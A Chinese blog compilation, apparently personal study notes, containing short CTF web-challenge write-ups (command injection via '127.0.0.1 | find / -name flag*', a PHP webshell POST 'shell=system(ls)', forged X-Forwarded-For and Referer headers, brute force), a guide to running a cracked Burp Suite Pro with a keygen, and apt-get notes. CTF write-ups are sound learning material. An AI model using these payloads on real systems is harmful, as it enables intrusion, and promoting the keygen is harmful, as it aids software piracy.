根据网页提示知道文件名,根据题意可以手动尝试打开备份文件,也可以利用软件或脚本获取备份文件,获取flag (常见的备份文件后缀:.git .svn .swp ~ .bak .bash .bash_history)
4.cookie
5.disabled_button
根据题意审查前端元素,在flag值前面发现disabled属性,删去后即可点按钮得到flag。
6.weak_auth
随便输入报错后查看源代码得到提示字典爆破得到账号密码,成功拿到flag。
7.simple_php
就是简单的代码审计,对php的各语句和函数熟悉即可。根据提示我们知道flag1需要满足php的弱类型比较得到一半flag,然后满足另一个条件得到另一半flag。构造语句111.200.241.244:59665/index.php?a=a&b=1235a即可
8.get_post
先用get请求后用post请求得到flag
9.xff_referer
查看源代码,ip地址必须为123.123.123.123,伪造ip地址X-Forwarded-For: 123.123.123.123,然后又在payload里发现必须来自https://www.google.com,所以增添referer(来源网站)Referer: https://www.google.com 在payload里得到flag,完事。
10.webshell
根据提示这里用php的命令执行,根据题意猜测index.php包含了flag文件。构造post请求,shell=system(ls),查看当前目录文件
11.command_execution
没waf,意味着任意命令都可以执行,我们在ping里命令拼接127.0.0.1 | find / -name “flag*”得到
根据目录可以打开flag
12.simple_js
我们直接看源代码,是js,代码审计
发现无论输入什么都会跳到假密码,而真密码是fromChatCode,接下来就处理这个字符串,一看是16进制编码,转换后得到数组[55,56,54,79,115,69,114,116,107,49,50],猜测是ASCII码,我们进行转换拼接,按flag格式得到flag。简化js其实更好,ad上大佬的wp。
到此本节结束。
确保java环境是支持破解版burpsuite运行的,burpsuite_pro_v1.7.31像java1.8.0_xxx就可以,java15.0.x就不支持burp-loader-keygen的run,复制键是Ctrl+insert,粘贴可以 Ctrl+v。
安装java1.8.0_xxx
官网下载源码安装包,然后移动到安装目录例:mv jre-8u281-linux-x64.tar.gz /catalog/,切换至安装目录,例:cd /catalog/ ,然后解压安装tar zxvf jre-8u281-linux-x64.tar.gz ,删除安装包rm jre-8u281-linux-x64.tar.gz , 配置环境 运行命令gedit ~/.bashrc,在末尾添加
#install JAVA JDK export JAVA_HOME=/opt/jre1.8.0_281
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
然后保存退出,这里用到了gedit,直接下载就是apt-get install gedit ,至此,java部分完成了
使用burpsuite
从网上下载的burp suite有两个文件,一个是burp-loader-keygen.jar,这个是用来解密钥的,还有一个是burpsuite_pro_v1.7.31.jar,通过打开前面那个里的run运行。打开 burp-loader-keygen.jar 有两个方式,一个是在命令行运行java – burp-loader-keygen.jar ,还有一种是自己建个脚本放在桌面,通过./burpsuite.sh运行脚本。建脚本 sudo vi burpsuite.sh,向里面添加内容 java -jar burp-loader-keygen.jar 保存并退出,给脚本执行权限 chmod +x burpsuite.sh 回车
注意:如果java环境不支持, burp-loader-keygen.jar 里的run点了也没反应。
Linux(Debian)系统 apt-get 命令的使用:安装、更新、卸载软件包
apt-get 命令适用于 deb 包管理式的 Linux 操作系统(Debian、Ubuntu等),主要用于自动从互联网软件仓库中搜索、下载、安装、升级、卸载软件或操作系统。
安装 软件包
apt-get install PackageName // 普通安装
apt-get install PackageName=VersionName // 安装指定包的指定版
apt-get –reinstall install PackageName // 重新安装
apt-get build-dep PackageName // 安装源码包所需要的编译环境
apt-get -f install // 修复依赖关系
apt-get source PackageName // 下载软件包的源码
卸载 软件包
apt-get remove PackageName // 删除软件包, 保留配置文件
apt-get –purge remove PackageName // 删除软件包, 同时删除配置文件
apt-get purge PackageName // 删除软件包, 同时删除配置文件
apt-get autoremove PackageName // 删除软件包, 同时删除为满足依赖
// 而自动安装且不再使用的软件包
apt-get –purge autoremove PackageName // 删除软件包, 删除配置文件,
// 删除不再使用的依赖包
apt-get clean && apt-get autoclean // 清除 已下载的软件包 和 旧软件包
更新 软件包
apt-get update // 更新安装源(Source)
apt-get upgrade // 更新已安装的软件包
apt-get dist-upgrade //更新已安装的软件包(识别并处理依赖关系的改变)
查询 软件包
dpkg -l // 列出已安装的所有软件包
apt-cache search PackageName // 搜索软件包
apt-cache show PackageName // 获取软件包的相关信息, 如说明、大小、版本等
apt-cache depends PackageName // 查看该软件包需要哪些依赖
apt-cache rdepends PackageName // 查看该软件包被哪些包依
apt-get check // 检查是否有损坏的依赖
需要帮助:执行命令: apt-get –help
(大自然的搬运工,方便查阅,嘿嘿)
今天熟悉Linux的操作指令,想先下载个中文输入法,打出指令sudo apt install fcitx
(输入法框架),然后就出现了下面的情况。
这是啥玩意,脑子里一万个问号???无法定位软件包,慌得我马上打开百度一搜。结果好多都是Ubuntu系统版本的,如下图:
我就想着都是Linux系统,大多数操作应该都一致的吧,于是就照着一个博文照猫画虎一步一步输入指令。先输入apt-get update 如下:
这指令是干嘛的呢,我又打开了百度,搞清楚了这个指令的用法和Linux下安装软件的过程。”每个Linux发行版下都有一个管理软件的仓库,这里面的软件‘绝对’安全,而且能正常安装。我们维护一个源列表,里面包含了许多网址的信息,每一条网址就是一个源,这个地址指向的数据标识着这台源服务器上有哪些软件可以安装使用。“
1.sudo gedit /etc/apt/sources.list
这条命令是编辑软件源,加入或删除一些源后保存。我们的源列表里指向的软件就会增加或减少一部分。
2.sudo apt-get update
这条命令是更新软件列表,该命令会访问源列表里的每个网址,并读取软件列表,保存在本地。我们在软件包管理器(这是啥玩意?先记下来,待会再查)里看到的软件列表,都是通过update命令更新的。
3.sudo apt-get upgrade
这个命令会把刚下载的软件列表里的软件与本地已安装的软件进行对比,如果本地的版本太低就会提示你更新。
小小总结下:
update
update 是同步 /etc/apt/sources.list 和 /etc/apt/sources.list.d 中列出的源的索引,这样才能获取到最新的软件包。
upgrade
upgrade 是升级已安装的所有软件包,升级之后的版本就是本地索引里的,因此,在执行 upgrade 之前一定要执行 update, 这样安装的才是最新的版本
然后我们回过头去看软件管理器,它具有什么功能,是如何使用的? Linux中都具有这个东西,它能够让用户在开源系统中对软件进行安装,删除,更新,配置以及管理等操作的工具。它就像软件中心,也像命令行工具apt-get或pacman。至于工作原理什么的后续再更吧。
我们回过头去,先把软件列表更新了,再把输入法安装了(apt-get install fcitx-google pinyin)。 ps:修改root密码:sudo passwd root